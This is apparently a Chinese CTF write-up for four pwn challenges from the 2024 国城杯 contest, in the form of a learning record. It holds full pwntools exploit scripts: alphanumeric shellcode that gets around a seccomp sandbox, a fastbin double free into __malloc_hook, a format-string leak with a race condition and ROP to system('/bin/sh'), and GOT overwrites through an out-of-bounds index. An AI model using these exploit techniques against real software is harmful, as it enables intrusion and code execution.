2024国城杯wp
pwn
Alpha_Shell
检查保护,保护全开:
➜ Alpha_Shell checksec pwn
[*] '/home/ubuntu/CTF/PWN/CTF赛/国城杯2024/Alpha_Shell/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
检查沙箱
➜ Alpha_Shell seccomp-tools dump ./pwn
Radiant powers, deadly tech. Here we go!
OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0c 0xc000003e if (A != ARCH_X86_64) goto 0014
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x09 0xffffffff if (A != 0xffffffff) goto 0014
0005: 0x15 0x07 0x00 0x00000000 if (A == read) goto 0013
0006: 0x15 0x06 0x00 0x00000001 if (A == write) goto 0013
0007: 0x15 0x05 0x00 0x00000002 if (A == open) goto 0013
0008: 0x15 0x04 0x00 0x00000013 if (A == readv) goto 0013
0009: 0x15 0x03 0x00 0x00000014 if (A == writev) goto 0013
0010: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0013
0011: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0013
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0013: 0x06 0x00 0x00 0x80000000 return KILL_PROCESS
0014: 0x06 0x00 0x00 0x00000000 return KILL
这篇文章看到可以用 AE64:Alphanumeric Shellcode:纯字符Shellcode生成指南 - FreeBuf网络安全行业门户
可以考虑用openat+sendfile
# -*- coding: utf-8 -*-
from pwn import *
from ae64 import AE64
context(arch='amd64', os='linux')
context.log_level = 'debug'
# shellcode=shellcraft.openat(-100,'/flag',0)
# shellcode+=shellcraft.sendfile(1,3,0,0x100)
# shellcode=asm(shellcode)
shellcode='''
mov rax, 0x67616c662f2e ;// ./flag
push rax
mov rdi, -100
mov rsi, rsp
//mov edx,0
xor edx, edx
xor r10, r10
push SYS_openat ;// SYS_openat
pop rax
syscall
mov rdi, 1
mov rsi, 3
push 0
mov rdx, rsp
mov r10, 0x100
push SYS_sendfile ;// SYS_sendfile
pop rax
syscall
'''
shellcode=asm(shellcode,arch='amd64')
shellcode=AE64().encode(shellcode,'rdx')
print (shellcode)
exp:
# -*- coding: utf-8 -*-
from pwn import *
# from LibcSearcher import *
p = process("./pwn")
#p = remote("125.70.243.22",31505)
elf = ELF("./pwn")
#libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os,log_level='debug')
#context.terminal = ["tmux", "splitw", "-h"]
shellcode='RXWTYH39Yj3TYfi9WmWZj8TYfi9JBWAXjKTYfi9kCWAYjCTYfi93iWAZjNTYfi9yb0t800T820T870T880t8B0T8J0T8K0T8L0T8M0T8O0T8P0T8T0T8U0T8V0T8W0t8b0T8g0T8h0T8i0T8j0T8n0T8oRAPZ0t8C0t8E0t8H0t8R0t8S0t8Y0t8Z0t8c0t8e0t8fZRAQZ0T810T8lZjUTYfi9EB0t820t830t840t850T8P0T8Q0T8R0T8S0T8URAPZ0t800t81ZHpwzflagUUPHGGT777HAf1RM1RhTTUUXZPHGGTUUUHGFVUUUjUHAbIGBUTUUjqXZP'
# gdb.attach(p,"b *$rebase(0x15AF)")
# pause()
p.sendafter('we go!',shellcode)
p.interactive()
exp2:
from pwn import *
from ae64 import AE64
p = process("./attachment")
context(os="linux", arch='amd64', log_level='debug')
p.recvuntil("\n")
shellcode = shellcraft.openat('AT_FDCWD', './flag', 0, 0) shellcode += shellcraft.sendfile(1, 3, 0, 50)
alphanumeric_shellcode = AE64().encode(asm(shellcode), 'rdx', 0, 'fast') p.send(alphanumeric_shellcode)
p.interactive()
vtable_hijack
检查保护,看下libc版本:
➜ vtable_hijack checksec pwn
[*] '/home/ubuntu/CTF/PWN/CTF赛/国城杯2024/vtable_hijack/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
➜ vtable_hijack ./libc.so.6
GNU C Library (GNU libc) stable release version 2.23, by Roland McGrath et al.
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 5.4.0 20160609.
Available extensions:
crypt add-on version 2.1 by Michael Glad and others
GNU Libidn by Simon Josefsson
Native POSIX Threads Library by Ulrich Drepper et al
BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<http://www.gnu.org/software/libc/bugs.html>.
直接Fastbin Double Free,exp如下:
# -*- coding: utf-8 -*-
from pwn import *
# from LibcSearcher import *
#p = process("./pwn")
p = remote("125.70.243.22",31454)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os,log_level='debug')
#context.terminal = ["tmux", "splitw", "-h"]
def add_chunk(index, size):
p.sendafter("choice:", "1")
p.sendlineafter("index:", str(index))
p.recvline()
p.sendafter("size:", str(size))
def delete_chunk(index):
p.sendafter("choice:\n", "2")
p.sendafter("index:", str(index))
def edit_chunk(index, content):
p.sendafter("choice:\n", "3")
p.sendafter("index:\n", str(index))
p.sendafter("length:", str(len(content)))
p.sendafter("content:", content)
def show_chunk(index):
p.sendafter("choice:\n", "4")
p.sendafter("index:", str(index))
add_chunk(0, 0x200)
add_chunk(1, 0x200)
delete_chunk(0)
#add_chunk(0,0x200)
show_chunk(0)
libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x39bb78
info("libc base: " + hex(libc.address))
add_chunk(0, 0x68)
add_chunk(1, 0x68)
delete_chunk(0)
delete_chunk(1)
delete_chunk(0)
add_chunk(0, 0x68)
edit_chunk(0, p64(libc.sym['__malloc_hook'] - 0x23))
add_chunk(0, 0x68)
add_chunk(0, 0x68)
add_chunk(0, 0x68)
one_gadget = libc.address + [0x3f3e6, 0x3f43a, 0xd5c07][2]
edit_chunk(0, '\x00' * 0x13 + p64(one_gadget))
add_chunk(0, 0x1000)
p.interactive()
Offensive_Security(复现)
给了两个文件 attachment 和 lib2shell.so
attachment的逻辑:
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v3; // eax
init(argc, argv, envp);
login(&password);
if ( v3 != 1 )
exit(1);
vuln();
return 0;
}
lib2shell.so 的逻辑:
利用格式化字符串漏洞泄露 password 地址(0x6002b0)
64位注意地址隔断把地址放后面。
然后是 vuln 函数
__int64 __fastcall login(_BYTE *a1)
{
size_t v1; // rax
char buf[36]; // [rsp+10h] [rbp-30h] BYREF
_BYTE s2[8]; // [rsp+34h] [rbp-Ch] BYREF
int v5; // [rsp+3Ch] [rbp-4h]
v5 = arc4random();
*a1 = HIBYTE(v5);
a1[1] = BYTE2(v5);
a1[2] = BYTE1(v5);
a1[3] = v5;
a1[4] = HIBYTE(v5);
a1[5] = BYTE2(v5);
a1[6] = BYTE1(v5);
a1[7] = v5;
v1 = strlen(art);
write(1, art, v1);
puts("[!] Please input your Username:");
read(0, buf, 0x10uLL);
puts("[\x1B[1;32mINFO\x1B[0m] Welcome, ");
printf(buf); //格式化字符串
puts("[!] Please input your password: ");
read(0, s2, 8uLL);
sleep(1u);
if ( memcmp(a1, s2, 8uLL) )
{
puts("\x1B[1;31m[CRITICAL]\x1B[0m Incorrect password!");
exit(1);
}
return 1LL;
}
这里创建了两个线程并同时进行
int vuln()
{
pthread_t th; // [rsp+0h] [rbp-10h] BYREF
pthread_t newthread; // [rsp+8h] [rbp-8h] BYREF
pthread_create(&newthread, 0LL, (void *(*)(void *))checker, 0LL);
pthread_create(&th, 0LL, (void *(*)(void *))guess, 0LL);
pthread_join(newthread, 0LL);
return pthread_join(th, 0LL);
}
条件竞争漏洞,
其中在 guess 中可以直接修改 authentication_code
这里输入两个1绕过
p.recvuntil('[!] Guess the authentication code?\n')
p.sendline(str('1'))
p.recvuntil('[!] Please enter your authentication code: ')
p.sendline(str('1'))
p.recvuntil('Login success!')
p.recvuntil('>\n')
最后是 shell 函数,有一个栈溢出
__int64 shell()
{
_BYTE s[32]; // [rsp+0h] [rbp-20h] BYREF
setvbuf(stdout, 0LL, 1, 0LL);
memset(s, 0, sizeof(s));
puts(">");
read(0, s, 0x200uLL);
return 0LL;
}
方法一(利用题目gadget来打,打通了没理解)
注意 attachment 的gadget
这里参考 栈溢出练习:ROP Emporium - 我可是会飞的啊
看博客说本题的 al 初值经过测试确定为 0(这里具体测试没有测试出来)
exp:
from pwn import *
context(log_level='debug')
context(arch='amd64')
#p=remote('125.70.243.22',31633)
elf=ELF('./pwn')
p=process('./pwn')
gdb.attach(p,"b *$rebase(0x1604)\nc")
pause()
p.recvuntil('Username:')
pwd=0x6002b0
payload=b'%9$saaaa'+p64(pwd)
p.send(payload)
p.recvuntil('Welcome, \n')
pswd=u64(p.recv(8))
out=0x400644
log.success('password = '+hex(pswd))
p.recvuntil('[!] Please input your password:')
p.send(p64(pswd))
#pause()
p.recvuntil('[!] Guess the authentication code?\n')
p.sendline(str('1'))
p.recvuntil('[!] Please enter your authentication code: ')
p.sendline(str('1'))
p.recvuntil('Login success!')
p.recvuntil('>\n')
#pause()
pop_rdi_ret = 0x0000000000400661 # : pop rdi ; ret
stosb_rdi_al_ret = 0x000000000040065f # : stosb byte ptr [rdi], al ; ret
xlatb_ret = 0x000000000040064E # : xlat ; ret
bextr_ret = 0x0000000000400650
padding = b'A' * 0x28
bufffer = 0x600800
print_file = 0x000000000400647
def set_rbx(b):
p = b""
p += pack(bextr_ret)
p += pack(0xE000)
p += pack(b - 0x0D093)
return p
def set_al(a,offset):
tmp = next(elf.search(a)) - offset
#print(hex(tmp))
p = pack(xlatb_ret)
return set_rbx(tmp) + p
is_first = True
def save_al(val,offset):
global is_first
p = b""
if is_first:
p += pack(pop_rdi_ret)
p += pack(bufffer)
is_first = False
p += pack(stosb_rdi_al_ret)
return set_al(val,offset) + p
def write_str(s):
p=b""
last_al = 0
for i in s:
p += save_al(p8(i),last_al)
last_al = i
return p
payload = write_str(b"flag")
payload += pack(pop_rdi_ret)
payload += pack(bufffer)
payload += pack(print_file)
p.sendline(padding + payload)
p.recvuntil(b'}')
p.interactive()
方法二(利用泄露libc来打system(/bin/sh))
exp:
# -*- coding: utf-8 -*-
from pwn import *
# from LibcSearcher import *
p = process("./pwn")
#p = remote("127.0.0.1",8888)
elf = ELF("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(arch=elf.arch, os=elf.os,log_level='debug')
#context.terminal = ["tmux", "splitw", "-h"]
pop_rdi=0x0000000000400661
ret=0x0000000000400462
pwd=0x6002b0
# gdb.attach(p,"b *$rebase(0x1449)")
# pause()
p.recvuntil('Username:')
payload=b'%7$s'
p.send(payload)
p.recvuntil("Welcome, \n")
password=u64(p.recv(8))
libc_base=u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00'))-0x21a780
info("password: "+hex(password))
info("libc_base: "+hex(libc_base))
p.recvuntil(b'password: \n')
p.send(p64(password))
p.sendline("1")
p.recvuntil("authentication code:")
p.sendline("1")
p.recvuntil(b'>\n')
binsh=libc_base+libc.search("/bin/sh\x00").next()
system=libc_base+libc.sym['system']
payload='a'*0x28+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendline(payload)
p.interactive()
beverage store(复现)
检查保护,got表可写:
➜ beverage store checksec pwn
[*] '/home/ubuntu/CTF/PWN/CTF赛/国城杯2024/beverage store/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
主函数:
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
check_vip();
buy();
}
check_vip()函数部分,可以看到有随机数
unsigned __int64 check_vip()
{
int v1; // [rsp+8h] [rbp-28h] BYREF
int v2; // [rsp+Ch] [rbp-24h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v4; // [rsp+28h] [rbp-8h]
v4 = __readfsqword(0x28u);
seed = time(0LL);
puts("input yours id");
read(0, buf, 0x10uLL);
strcpy(name, buf);
srand(seed);
v2 = rand();
puts("Input yours id authentication code:");
__isoc99_scanf("%d", &v1);
if ( v2 != v1 )
{
puts("Authentication error!");
exit(0);
}
return v4 - __readfsqword(0x28u);
}
read 读0x10字节到buf,注意 strcpy buf 到 name 0x10个字节,可以覆盖 seed 从而绕过伪随机数。
buy()函数:
void __noreturn buy()
{
int v0; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
puts("welcome to my beverage store");
puts("What type of drink do you want");
puts("1 juice\n2 coffe\n3 milk tea\n4 wine");
__isoc99_scanf("%d", &v0);
if ( v0 > 4 )
{
printf("out of range");
exit(1);
}
list((unsigned int)v0);
puts("which one to choose");
read(0, §ion[16 * v0], 0x10uLL);
puts("succeed");
puts(§ion[16 * v0]);
exit(0);
}
数组越界,先把exit 的 plt 表改成 buy 函数,从而可以无限利用,接着泄露 libc 地址, 改 printf 为 system,再改 exit 为 vuln 函数 getshell。
exp:
# -*- coding: utf-8 -*-
from pwn import *
# from LibcSearcher import *
p = process("./pwn")
#p = remote("127.0.0.1",8888)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os,log_level='debug')
#context.terminal = ["tmux", "splitw", "-h"]
payload='a'*8+'1'*8
p.sendafter("id",payload)
p.recvuntil(b'code:')
p.sendline(str(1366868856))
# gdb.attach(p,"b *0x40133B\nc")
# pause()
p.recvuntil('wine')
buy = 0x40133b
vuln = 0x401511
p.sendline('-4')
p.sendafter(b"which one to choose\n", p64(buy))
p.sendlineafter('wine',"-5")
print("puts_got: "+hex(elf.got['puts']))
p.sendafter(b"which one to choose\n", '\x50')
p.recvuntil("succeed\n")
libc.address=u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00'))-0x81550
info("libc_base: "+hex(libc.address))
p.sendlineafter('wine',"-7")
p.sendafter("which one to choose\n", p64(libc.sym['system']))
p.sendlineafter('wine',"-4")
p.sendafter("which one to choose\n", p64(vuln))
p.interactive()
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)